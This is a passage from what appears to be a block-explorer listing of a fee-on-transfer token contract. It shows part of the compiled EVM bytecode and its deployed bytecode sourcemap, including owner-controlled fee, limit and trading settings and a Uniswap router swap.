16155b80156112a157506001600160a01b03841660009081526019602052604090205460ff16155b156112cf576009805460ff60b01b1916600160b01b1790556112c161174d565b6009805460ff60b01b191690555b6009546001600160a01b03861660009081526019602052604090205460ff600160b01b90920482161591168061131d57506001600160a01b03851660009081526019602052604090205460ff165b15611326575060005b801561155f5760006018544310156113b15761134e6064611348876063611945565b906119c7565b9050606361135d82605e611f4b565b6113679190611f62565b601560008282546113789190611f38565b909155506063905061138b826005611f4b565b6113959190611f62565b601760008282546113a69190611f38565b909155506115409050565b6001600160a01b0386166000908152601c602052604090205460ff1680156113da575060105415155b15611468576010546113f490606490611348908890611945565b601054601354919250906114089083611f4b565b6114129190611f62565b601660008282546114239190611f38565b90915550506010546011546114389083611f4b565b6114429190611f62565b601560008282546114539190611f38565b909155505060105460125461138b9083611f4b565b6001600160a01b0387166000908152601c602052604090205460ff1680156114915750600c5415155b1561154057600c546114ab90606490611348908890611945565b600c54600f54919250906114bf9083611f4b565b6114c99190611f62565b601660008282546114da9190611f38565b9091555050600c54600d546114ef9083611f4b565b6114f99190611f62565b6015600082825461150a9190611f38565b9091555050600c54600e5461151f9083611f4b565b6115299190611f62565b6017600082825461153a9190611f38565b90915550505b801561155157611551873083611690565b61155b8186611f84565b9450505b61156a868686611690565b505050505050565b600081848411156115965760405162461bcd60e51b81526004016108959190611d11565b5060006115a38486611f84565b95945050505050565b6000806115b98385611f38565b90508381101561160b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610895565b9392505050565b6103e88261161f60025490565b6116299190611f4b565b6116339190611f62565b6006556103e88161164360025490565b61164d9190611f4b565b6116579190611f62565b6007555050565b6103e88161166b60025490565b6116759190611f4b565b61167f9190611f62565b60085550565b610f13838383610e9d565b6116cd8160405180606001604052806026815260200161208f602691396001600160a01b0386166000908152602081905260409020549190611572565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546116fc90826115ac565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610ef2565b30600090815260208190526040812054905060006017546015546016546117749190611f38565b61177e9190611f38565b90508160000361178c575050565b60145461179a906023611f4b565b8211156117b2576014546117af906023611f4b565b91505b6000600282601654856117c59190611f4b565b6117cf9190611f62565b6117d99190611f62565b905060006117e78483611a09565b9050476117f382611a4b565b60006117ff4783611a09565b9050600061181c866113486015548561194590919063ffffffff16565b90506000611839876113486017548661194590919063ffffffff16565b905060006118478284611f38565b6118519085611f84565b600060168190556015819055601755479450905086158015906118745750600081115b156118bd576118838782611c03565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b600a546001600160a01b03166108fc6118d68547611f84565b6040518115909202916000818181858888f193505050501580156118fe573d6000803e3d6000fd5b50600b546040516001600160a01b039091169085156108fc029086906000818181858888f19350505050158015611939573d6000803e3d6000fd5b50505050505050505050565b6000826000036119575750600061092b565b60006119638385611f4b565b9050826119708583611f62565b1461160b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610895565b600061160b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ce3565b600061160b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611572565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a8057611a80611f97565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611afe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b229190611fad565b81600181518110611b3557611b35611f97565b60200260200101906001600160a01b031690816001600160a01b031681525050611b80307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610e9d565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611bd5908590600090869030904290600401611fca565b600060405180830381600087803b158015611bef57600080fd5b505af115801561156a573d6000803e3d6000fd5b611c2e307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610e9d565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015611cb7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611cdc919061203b565b5050505050565b60008183611d045760405162461bcd60e51b81526004016108959190611d11565b5060006115a38486611f62565b600060208083528351808285015260005b81811015611d3e57858101830151858201604001528201611d22565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611d7457600080fd5b50565b600060208284031215611d8957600080fd5b813561160b81611d5f565b60008060408385031215611da757600080fd5b8235611db281611d5f565b946020939093013593505050565b80358015158114610c8b57600080fd5b60008060408385031215611de357600080fd5b8235611dee81611d5f565b9150611dfc60208401611dc0565b90509250929050565b600060208284031215611e1757600080fd5b61160b82611dc0565b600080600060608486031215611e3557600080fd5b8335611e4081611d5f565b92506020840135611e5081611d5f565b929592945050506040919091013590565b600060208284031215611e7357600080fd5b5035919050565b60008060408385031215611e8d57600080fd5b8235611e9881611d5f565b91506020830135611ea881611d5f565b809150509250929050565b600181811c90821680611ec757607f821691505b602082108103611ee757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561092b5761092b611f22565b808202811582820484141761092b5761092b611f22565b600082611f7f57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561092b5761092b611f22565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611fbf57600080fd5b815161160b81611d5f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561201a5784516001600160a01b031683529383019391830191600101611ff5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561205057600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eeebf81bc506d85176194c9658b271e43988fb315237c8f53d613b8668117b1464736f6c63430008130033

Deployed Bytecode Sourcemap

20778:12049:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24606:4;24584:10;:27;24576:36;;;;;;20778:12049;;;;;4425:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24674:386;;;;;;;;;;-1:-1:-1;24674:386:0;;;;;:::i;:::-;;:::i;6585:168::-;;;;;;;;;;-1:-1:-1;6585:168:0;;;;;:::i;:::-;;:::i;:::-;;;1440:14:1;;1433:22;1415:41;;1403:2;1388:18;6585:168:0;1275:187:1;21337:276:0;;;;;;;;;;-1:-1:-1;21337:276:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1810:25:1;;;1866:2;1851:18;;1844:34;;;;1894:18;;;1887:34;;;;1952:2;1937:18;;1930:34;;;;1995:3;1980:19;;1973:35;2039:3;2024:19;;2017:35;2083:3;2068:19;;2061:35;2127:3;2112:19;;2105:35;1797:3;1782:19;21337:276:0;1467:679:1;31462:187:0;;;;;;;;;;-1:-1:-1;31462:187:0;;;;;:::i;:::-;;:::i;22194:63::-;;;;;;;;;;-1:-1:-1;22194:63:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5542:107;;;;;;;;;;-1:-1:-1;5629:12:0;;5542:107;;;2782:25:1;;;2770:2;2755:18;5542:107:0;2636:177:1;22016:33:0;;;;;;;;;;;;;;;;25541:103;;;;;;;;;;-1:-1:-1;25541:103:0;;;;;:::i;:::-;;:::i;21976:33::-;;;;;;;;;;;;;;;;7235:354;;;;;;;;;;-1:-1:-1;7235:354:0;;;;;:::i;:::-;;:::i;5385:92::-;;;;;;;;;;-1:-1:-1;5385:92:0;;5467:2;3606:36:1;;3594:2;3579:18;5385:92:0;3464:184:1;7998:217:0;;;;;;;;;;-1:-1:-1;7998:217:0;;;;;:::i;:::-;;:::i;32514:181::-;;;;;;;;;;;;;:::i;20939:30::-;;;;;;;;;;;;;;;;21012:28;;;;;;;;;;-1:-1:-1;21012:28:0;;;;-1:-1:-1;;;;;21012:28:0;;;;;;-1:-1:-1;;;;;3817:32:1;;;3799:51;;3787:2;3772:18;21012:28:0;3653:203:1;32703:121:0;;;;;;;;;;-1:-1:-1;32703:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;32792:24:0;32768:4;32792:24;;;:15;:24;;;;;;;;;32703:121;20976:29;;;;;;;;;;;;;;;;22323:39;;;;;;;;;;-1:-1:-1;22323:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5712:126;;;;;;;;;;-1:-1:-1;5712:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;5812:18:0;5785:7;5812:18;;;;;;;;;;;;5712:126;13869:148;;;;;;;;;;;;;:::i;31335:119::-;;;;;;;;;;;;;:::i;26071:144::-;;;;;;;;;;-1:-1:-1;26071:144:0;;;;;:::i;:::-;;:::i;13045:78::-;;;;;;;;;;-1:-1:-1;13109:6:0;;-1:-1:-1;;;;;13109:6:0;13045:78;;4643:103;;;;;;;;;;;;;:::i;25348:158::-;;;;;;;;;;-1:-1:-1;25348:158:0;;;;;:::i;:::-;;:::i;8718:268::-;;;;;;;;;;-1:-1:-1;8718:268:0;;;;;:::i;:::-;;:::i;6051:174::-;;;;;;;;;;-1:-1:-1;6051:174:0;;;;;:::i;:::-;;:::i;20903:29::-;;;;;;;;;;;;;;;;25787:128;;;;;;;;;;-1:-1:-1;25787:128:0;;;;;:::i;:::-;;:::i;21128:21::-;;;;;;;;;;-1:-1:-1;21128:21:0;;;;-1:-1:-1;;;21128:21:0;;;;;;6288:150;;;;;;;;;;-1:-1:-1;6288:150:0;;;;;:::i;:::-;-1:-1:-1;;;;;6403:18:0;;;6376:7;6403:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6288:150;21088:33;;;;;;;;;;-1:-1:-1;21088:33:0;;;;-1:-1:-1;;;21088:33:0;;;;;;25923:140;;;;;;;;;;-1:-1:-1;25923:140:0;;;;;:::i;:::-;;:::i;22264:52::-;;;;;;;;;;-1:-1:-1;22264:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;22056:35;;;;;;;;;;;;;;;;13276:244;;;;;;;;;;-1:-1:-1;13276:244:0;;;;;:::i;:::-;;:::i;20854:42::-;;;;;;;;;;;;;;;31800:136;;;;;;;;;;-1:-1:-1;31800:136:0;;;;;:::i;:::-;;:::i;4425:99::-;4478:13;4511:5;4504:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4425:99;:::o;24674:386::-;12627:6;;-1:-1:-1;;;;;12627:6:0;3582:10;12627:22;12619:67;;;;-1:-1:-1;;;12619:67:0;;;;;;;:::i;:::-;;;;;;;;;24742:11:::1;:18:::0;;24824:12:::1;24803:18;:33:::0;-1:-1:-1;;;;;24847:21:0;;::::1;-1:-1:-1::0;;;;;;24847:21:0;;;;-1:-1:-1;;;24847:21:0;;;;24895:13;::::1;24742:18:::0;24879:31;;;:7:::1;:31;::::0;;;;;;;:38;;-1:-1:-1;;24879:38:0;;::::1;24756:4;24879:38:::0;;::::1;::::0;;;24968:13;;;::::1;24928:55:::0;;:31:::1;:55:::0;;;;;:62;;;::::1;::::0;::::1;::::0;;25030:13;;;;::::1;25001:44:::0;;:20:::1;:44:::0;;;;;:51;;;;::::1;::::0;;::::1;::::0;;24674:386::o;6585:168::-;6667:4;6684:39;3582:10;6707:7;6716:6;6684:8;:39::i;:::-;-1:-1:-1;6741:4:0;6585:168;;;;;:::o;31462:187::-;12627:6;;-1:-1:-1;;;;;12627:6:0;3582:10;12627:22;12619:67;;;;-1:-1:-1;;;12619:67:0;;;;;;;:::i;:::-;31552:13:::1;::::0;-1:-1:-1;;;;;31552:13:0;;::::1;31544:21:::0;;::::1;::::0;31536:73:::1;;;::::0;-1:-1:-1;;;31536:73:0;;5622:2:1;31536:73:0::1;::::0;::::1;5604:21:1::0;5661:2;5641:18;;;5634:30;5700:34;5680:18;;;5673:62;-1:-1:-1;;;5751:18:1;;;5744:37;5798:19;;31536:73:0::1;5420:403:1::0;31536:73:0::1;-1:-1:-1::0;;;;;31620:13:0;;;::::1;;::::0;;;:7:::1;:13;::::0;;;;:21;;-1:-1:-1;;31620:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;31462:187::o;25541:103::-;12627:6;;-1:-1:-1;;;;;12627:6:0;3582:10;12627:22;12619:67;;;;-1:-1:-1;;;12619:67:0;;;;;;;:::i;:::-;25613:13:::1;:23:::0;;;::::1;;-1:-1:-1::0;;;25613:23:0::1;-1:-1:-1::0;;;;25613:23:0;;::::1;::::0;;;::::1;::::0;;25541:103::o;7235:354::-;7374:4;7391:36;7401:6;7409:9;7420:6;7391:9;:36::i;:::-;7438:121;7447:6;3582:10;7469:89;7507:6;7469:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7469:19:0;;;;;;:11;:19;;;;;;;;3582:10;7469:33;;;;;;;;;;:37;:89::i;:::-;7438:8;:121::i;:::-;-1:-1:-1;7577:4:0;7235:354;;;;;:::o;7998:217::-;3582:10;8085:4;8134:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8134:34:0;;;;;;;;;;8085:4;;8102:83;;8125:7;;8134:50;;8173:10;8134:38;:50::i;32514:181::-;32648:13;;32640:47;;32552:12;;32595:21;;-1:-1:-1;;;;;32648:13:0;;;;32595:21;;32552:12;32640:47;32552:12;32640:47;32595:21;32648:13;32640:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;32627:60:0;;32514:181;-1:-1:-1;;;32514:181:0:o;13869:148::-;12627:6;;-1:-1:-1;;;;;12627:6:0;3582:10;12627:22;12619:67;;;;-1:-1:-1;;;12619:67:0;;;;;;;:::i;:::-;13960:6:::1;::::0;13939:40:::1;::::0;13976:1:::1;::::0;-1:-1:-1;;;;;13960:6:0::1;::::0;13939:40:::1;::::0;13976:1;;13939:40:::1;13990:6;:19:::0;;-1:-1:-1;;;;;;13990:19:0::1;::::0;;13869:148::o;31335:119::-;12627:6;;-1:-1:-1;;;;;12627:6:0;3582:10;12627:22;12619:67;;;;-1:-1:-1;;;12619:67:0;;;;;;;:::i;:::-;31389:28:::1;31407:4;31412::::0;31389:17:::1;:28::i;:::-;31428:18;31441:4;31428:12;:18::i;:::-;31335:119::o:0;26071:144::-;12627:6;;-1:-1:-1;;;;;12627:6:0;3582:10;12627:22;12619:67;;;;-1:-1:-1;;;12619:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;26161:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;26161:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;26071:144::o;4643:103::-;4698:13;4731:7;4724:14;;;;;:::i;25348:158::-;12627:6;;25431:4;;-1:-1:-1;;;;;12627:6:0;3582:10;12627:22;12619:67;;;;-1:-1:-1;;;12619:67:0;;;;;;;:::i;:::-;-1:-1:-1;25447:17:0::1;:29:::0;;;25494:4:::1;12697:1;25348:158:::0;;;:::o;8718:268::-;8810:4;8827:129;3582:10;8850:7;8859:96;8898:15;8859:96;;;;;;;;;;;;;;;;;3582:10;8859:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8859:34:0;;;;;;;;;;;;:38;:96::i;6051:174::-;6136:4;6153:42;3582:10;6177:9;6188:6;6153:9;:42::i;25787:128::-;12627:6;;-1:-1:-1;;;;;12627:6:0;3582:10;12627:22;12619:67;;;;-1:-1:-1;;;12619:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;25872:24:0;;;::::1;;::::0;;;:15:::1;:24;::::0;;;;:35;;-1:-1:-1;;25872:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;25787:128::o;25923:140::-;12627:6;;-1:-1:-1;;;;;12627:6:0;3582:10;12627:22;12619:67;;;;-1:-1:-1;;;12619:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;26015:29:0;;;::::1;;::::0;;;:20:::1;:29;::::0;;;;:40;;-1:-1:-1;;26015:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;25923:140::o;13276:244::-;12627:6;;-1:-1:-1;;;;;12627:6:0;3582:10;12627:22;12619:67;;;;-1:-1:-1;;;12619:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13365:22:0;::::1;13357:73;;;::::0;-1:-1:-1;;;13357:73:0;;6240:2:1;13357:73:0::1;::::0;::::1;6222:21:1::0;6279:2;6259:18;;;6252:30;6318:34;6298:18;;;6291:62;-1:-1:-1;;;6369:18:1;;;6362:36;6415:19;;13357:73:0::1;6038:402:1::0;13357:73:0::1;13467:6;::::0;13446:38:::1;::::0;-1:-1:-1;;;;;13446:38:0;;::::1;::::0;13467:6:::1;::::0;13446:38:::1;::::0;13467:6:::1;::::0;13446:38:::1;13495:6;:17:::0;;-1:-1:-1;;;;;;13495:17:0::1;-1:-1:-1::0;;;;;13495:17:0;;;::::1;::::0;;;::::1;::::0;;13276:244::o;31800:136::-;31907:12;;31880:48;;31900:5;;-1:-1:-1;;;;;31907:12:0;31921:6;31880:19;:48::i;:::-;31800:136;;:::o;10276:220::-;-1:-1:-1;;;;;10404:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10456:32;;2782:25:1;;;10456:32:0;;2755:18:1;10456:32:0;;;;;;;;10276:220;;;:::o;26223:3166::-;26351:6;26361:1;26351:11;26347:93;;26379:28;26395:4;26401:2;26405:1;26379:15;:28::i;:::-;26223:3166;;;:::o;26347:93::-;13109:6;;-1:-1:-1;;;;;26470:15:0;;;13109:6;;26470:15;;;;:45;;-1:-1:-1;13109:6:0;;-1:-1:-1;;;;;26502:13:0;;;13109:6;;26502:13;;26470:45;:72;;;;-1:-1:-1;26533:9:0;;-1:-1:-1;;;26533:9:0;;;;26532:10;26470:72;26452:815;;;26574:11;;-1:-1:-1;;;26574:11:0;;;;26569:132;;-1:-1:-1;;;;;26614:21:0;;;;;;:15;:21;;;;;;;;;:44;;-1:-1:-1;;;;;;26639:19:0;;;;;;:15;:19;;;;;;;;26614:44;26606:79;;;;-1:-1:-1;;;26606:79:0;;6647:2:1;26606:79:0;;;6629:21:1;6686:2;6666:18;;;6659:30;-1:-1:-1;;;6705:18:1;;;6698:52;6767:18;;26606:79:0;6445:346:1;26606:79:0;-1:-1:-1;;;;;26719:13:0;;;;;;:7;:13;;;;;;;;:53;;;;-1:-1:-1;;;;;;26737:35:0;;;;;;:31;:35;;;;;;;;26736:36;26719:53;26715:389;;;26811:14;;26801:6;:24;;26793:90;;;;-1:-1:-1;;;26793:90:0;;6998:2:1;26793:90:0;;;6980:21:1;7037:2;7017:18;;;7010:30;7076:34;7056:18;;;7049:62;-1:-1:-1;;;7127:18:1;;;7120:51;7188:19;;26793:90:0;6796:417:1;26793:90:0;26715:389;;;-1:-1:-1;;;;;26922:11:0;;;;;;:7;:11;;;;;;;;:53;;;;-1:-1:-1;;;;;;26938:37:0;;;;;;:31;:37;;;;;;;;26937:38;26922:53;26918:186;;;27014:15;;27004:6;:25;;26996:92;;;;-1:-1:-1;;;26996:92:0;;7420:2:1;26996:92:0;;;7402:21:1;7459:2;7439:18;;;7432:30;7498:34;7478:18;;;7471:62;-1:-1:-1;;;7549:18:1;;;7542:52;7611:19;;26996:92:0;7218:418:1;26996:92:0;-1:-1:-1;;;;;27123:24:0;;;;;;:20;:24;;;;;;;;27118:138;;27202:14;;-1:-1:-1;;;;;5812:18:0;;5785:7;5812:18;;;;;;;;;;;27176:22;;:6;:22;:::i;:::-;:40;;27168:72;;;;-1:-1:-1;;;27168:72:0;;8105:2:1;27168:72:0;;;8087:21:1;8144:2;8124:18;;;8117:30;-1:-1:-1;;;8163:18:1;;;8156:49;8222:18;;27168:72:0;7903:343:1;27168:72:0;27329:4;27280:28;5812:18;;;;;;;;;;;27385:17;;27361:41;;;;;;;27433:37;;-1:-1:-1;27457:13:0;;-1:-1:-1;;;27457:13:0;;;;27433:37;:64;;;;-1:-1:-1;27488:9:0;;-1:-1:-1;;;27488:9:0;;;;27487:10;27433:64;:92;;;;-1:-1:-1;;;;;;27514:11:0;;;;;;:7;:11;;;;;;;;27433:92;:131;;;;-1:-1:-1;;;;;;27543:21:0;;;;;;:15;:21;;;;;;;;27542:22;27433:131;:168;;;;-1:-1:-1;;;;;;27582:19:0;;;;;;:15;:19;;;;;;;;27581:20;27433:168;27415:301;;;27628:9;:16;;-1:-1:-1;;;;27628:16:0;-1:-1:-1;;;27628:16:0;;;27659:13;:11;:13::i;:::-;27687:9;:17;;-1:-1:-1;;;;27687:17:0;;;27415:301;27747:9;;-1:-1:-1;;;;;27858:21:0;;27729:14;27858:21;;;:15;:21;;;;;;27747:9;-1:-1:-1;;;27747:9:0;;;;;27746:10;;27858:21;;:44;;-1:-1:-1;;;;;;27883:19:0;;;;;;:15;:19;;;;;;;;27858:44;27854:94;;;-1:-1:-1;27931:5:0;27854:94;28046:9;28042:1296;;;28072:12;28121:18;;28106:12;:33;28103:1088;;;28167:23;28186:3;28167:14;:6;28178:2;28167:10;:14::i;:::-;:18;;:23::i;:::-;28160:30;-1:-1:-1;28245:2:0;28232:9;28160:30;28239:2;28232:9;:::i;:::-;28231:16;;;;:::i;:::-;28209:18;;:38;;;;;;;:::i;:::-;;;;-1:-1:-1;28303:2:0;;-1:-1:-1;28291:8:0;:4;28298:1;28291:8;:::i;:::-;28290:15;;;;:::i;:::-;28266:20;;:39;;;;;;;:::i;:::-;;;;-1:-1:-1;28103:1088:0;;-1:-1:-1;28103:1088:0;;-1:-1:-1;;;;;28331:11:0;;;;;;:7;:11;;;;;;;;:39;;;;-1:-1:-1;28346:20:0;;:24;;28331:39;28327:864;;;28409:20;;28398:41;;28435:3;;28398:32;;:6;;:10;:32::i;:41::-;28513:20;;28487:23;;28391:48;;-1:-1:-1;28513:20:0;28480:30;;28391:48;28480:30;:::i;:::-;:53;;;;:::i;:::-;28458:18;;:75;;;;;;;:::i;:::-;;;;-1:-1:-1;;28607:20:0;;28581:23;;28574:30;;:4;:30;:::i;:::-;:53;;;;:::i;:::-;28552:18;;:75;;;;;;;:::i;:::-;;;;-1:-1:-1;;28705:20:0;;28677:25;;28670:32;;:4;:32;:::i;28327:864::-;-1:-1:-1;;;;;28787:13:0;;;;;;:7;:13;;;;;;;;:40;;;;-1:-1:-1;28804:6:0;:19;:23;;28787:40;28783:408;;;28866:6;:19;28855:40;;28891:3;;28855:31;;:6;;:10;:31::i;:40::-;28968:6;:19;28943:22;;28848:47;;-1:-1:-1;28968:19:0;28936:29;;28848:47;28936:29;:::i;:::-;:51;;;;:::i;:::-;28914:18;;:73;;;;;;;:::i;:::-;;;;-1:-1:-1;;29060:6:0;:19;29035:22;;29028:29;;:4;:29;:::i;:::-;:51;;;;:::i;:::-;29006:18;;:73;;;;;;;:::i;:::-;;;;-1:-1:-1;;29156:6:0;:19;29129:24;;29122:31;;:4;:31;:::i;:::-;:53;;;;:::i;:::-;29098:20;;:77;;;;;;;:::i;:::-;;;;-1:-1:-1;;28783:408:0;29211:8;;29207:91;;29240:42;29256:4;29270;29277;29240:15;:42::i;:::-;29312:14;29322:4;29312:14;;:::i;:::-;;;28057:1281;28042:1296;29348:33;29364:4;29370:2;29374:6;29348:15;:33::i;:::-;26336:3053;;;26223:3166;;;:::o;11321:191::-;11406:7;11442:12;11434:6;;;;11426:29;;;;-1:-1:-1;;;11426:29:0;;;;;;;;:::i;:::-;-1:-1:-1;11466:9:0;11478:5;11482:1;11478;:5;:::i;:::-;11466:17;11321:191;-1:-1:-1;;;;;11321:191:0:o;11128:180::-;11185:7;;11217:5;11221:1;11217;:5;:::i;:::-;11205:17;;11246:1;11241;:6;;11233:46;;;;-1:-1:-1;;;11233:46:0;;8981:2:1;11233:46:0;;;8963:21:1;9020:2;9000:18;;;8993:30;9059:29;9039:18;;;9032:57;9106:18;;11233:46:0;8779:351:1;11233:46:0;11299:1;11128:180;-1:-1:-1;;;11128:180:0:o;25132:208::-;25264:4;25251:9;25235:13;5629:12;;;5542:107;25235:13;:25;;;;:::i;:::-;25234:34;;;;:::i;:::-;25217:14;:51;25328:4;25314:10;25298:13;5629:12;;;5542:107;25298:13;:26;;;;:::i;:::-;25297:35;;;;:::i;:::-;25279:15;:53;-1:-1:-1;;25132:208:0:o;25652:127::-;25767:4;25750:13;25734;5629:12;;;5542:107;25734:13;:29;;;;:::i;:::-;25733:38;;;;:::i;:::-;25716:14;:55;-1:-1:-1;25652:127:0:o;31659:133::-;31754:30;31763:5;31770;31777:6;31754:8;:30::i;9476:358::-;9638:71;9660:6;9638:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9638:17:0;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;9618:17:0;;;:9;:17;;;;;;;;;;;:91;;;;9743:20;;;;;;;:32;;9768:6;9743:24;:32::i;:::-;-1:-1:-1;;;;;9720:20:0;;;:9;:20;;;;;;;;;;;;:55;;;;9791:35;2782:25:1;;;9720:20:0;;9791:35;;;;;;2755:18:1;9791:35:0;2636:177:1;29757:1570:0;29847:4;29799:27;5812:18;;;;;;;;;;;29799:54;;29864:14;29923:20;;29902:18;;29881;;:39;;;;:::i;:::-;:62;;;;:::i;:::-;29864:79;;29960:19;29983:1;29960:24;29956:41;;29988:7;;29757:1570::o;29956:41::-;30035:17;;:22;;30055:2;30035:22;:::i;:::-;30013:19;:44;30009:121;;;30096:17;;:22;;30116:2;30096:22;:::i;:::-;30074:44;;30009:121;30191:23;30269:1;30260:6;30239:18;;30217:19;:40;;;;:::i;:::-;:49;;;;:::i;:::-;:53;;;;:::i;:::-;30191:79;-1:-1:-1;30281:26:0;30310:40;:19;30191:79;30310:23;:40::i;:::-;30281:69;-1:-1:-1;30392:21:0;30426:50;30281:69;30426:30;:50::i;:::-;30490:18;30511:44;:21;30537:17;30511:25;:44::i;:::-;30490:65;;30569:23;30595:46;30634:6;30595:34;30610:18;;30595:10;:14;;:34;;;;:::i;:46::-;30569:72;;30652:25;30680:48;30721:6;30680:36;30695:20;;30680:10;:14;;:36;;;;:::i;:48::-;30652:76;-1:-1:-1;30739:23:0;30779:35;30652:76;30779:15;:35;:::i;:::-;30765:50;;:10;:50;:::i;:::-;30892:1;30871:18;:22;;;30904:18;:22;;;30937:20;:24;30839:21;;-1:-1:-1;30739:76:0;-1:-1:-1;30978:19:0;;;;;:42;;;31019:1;31001:15;:19;30978:42;30974:192;;;31037:46;31050:15;31067;31037:12;:46::i;:::-;31103:51;;;9309:25:1;;;9365:2;9350:18;;9343:34;;;31103:51:0;;9282:18:1;31103:51:0;;;;;;;30974:192;31192:12;;-1:-1:-1;;;;;31192:12:0;31176:80;31216:39;31240:15;31216:21;:39;:::i;:::-;31176:80;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;31283:13:0;;31267:52;;-1:-1:-1;;;;;31283:13:0;;;;31267:52;;;;;31308:10;;31283:13;31267:52;31283:13;31267:52;31308:10;31283:13;31267:52;;;;;;;;;;;;;;;;;;;;;29788:1539;;;;;;;;;29757:1570::o;11799:256::-;11856:7;11886:1;11891;11886:6;11882:47;;-1:-1:-1;11916:1:0;11909:8;;11882:47;11942:9;11954:5;11958:1;11954;:5;:::i;:::-;11942:17;-1:-1:-1;11987:1:0;11978:5;11982:1;11942:17;11978:5;:::i;:::-;:10;11970:56;;;;-1:-1:-1;;;11970:56:0;;9590:2:1;11970:56:0;;;9572:21:1;9629:2;9609:18;;;9602:30;9668:34;9648:18;;;9641:62;-1:-1:-1;;;9719:18:1;;;9712:31;9760:19;;11970:56:0;9388:397:1;11662:131:0;11719:7;11746:39;11750:1;11753;11746:39;;;;;;;;;;;;;;;;;:3;:39::i;11518:135::-;11575:7;11602:43;11606:1;11609;11602:43;;;;;;;;;;;;;;;;;:3;:43::i;31944:564::-;32104:16;;;32118:1;32104:16;;;;;;;;32080:21;;32104:16;;;;;;;;;;-1:-1:-1;32104:16:0;32080:40;;32149:4;32131;32136:1;32131:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;32131:23:0;;;-1:-1:-1;;;;;32131:23:0;;;;;32175:6;-1:-1:-1;;;;;32175:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;32165:4;32170:1;32165:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;32165:23:0;;;-1:-1:-1;;;;;32165:23:0;;;;;32201:49;32218:4;32233:6;32242: